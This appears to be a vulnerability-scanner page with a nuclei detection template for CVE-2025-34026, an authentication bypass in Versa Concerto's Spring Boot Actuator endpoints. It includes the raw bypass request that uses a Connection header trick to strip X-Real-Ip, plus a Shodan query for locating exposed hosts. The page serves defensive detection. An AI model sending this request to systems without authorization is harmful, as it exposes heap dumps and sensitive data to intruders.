Versa Concerto Actuator Endpoint - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-01-22; known to be used by ransomware.

criticalseverity

7.5CVSS score

81.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.

Impact

Attackers can bypass authentication by omitting the X-Real-Ip header to access restricted Spring Boot Actuator endpoints, potentially exposing sensitive system information and functionality.

Fix

Upgrade to the latest Versa Concerto version that properly validates authentication for all Actuator endpoints regardless of header presence.

How to confirm it

Send: GET /portalapi/actuator
Positive when: contains "heapdump" AND contains in header "EECP-CSRF-TOKEN"

Run it with nuclei: nuclei -id CVE-2025-34026 -u <target>

The full check

id: CVE-2025-34026

info:
  name: Versa Concerto Actuator Endpoint - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
  impact: |
    Attackers can bypass authentication by omitting the X-Real-Ip header to access restricted Spring Boot Actuator endpoints, potentially exposing sensitive system information and functionality.
  remediation: |
    Upgrade to the latest Versa Concerto version that properly validates authentication for all Actuator endpoints regardless of header presence.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e
    - https://www.cve.org/CVERecord?id=CVE-2025-34026
  classification:
    cve-id: CVE-2025-34026
    cwe-id: CWE-288
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.8178
    epss-percentile: 0.99648
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln,kev

http:
  - raw:
      - |
        GET /portalapi/actuator HTTP/1.1
        Host: {{Hostname}}
        Connection: X-Real-Ip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - heapdump

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN

References

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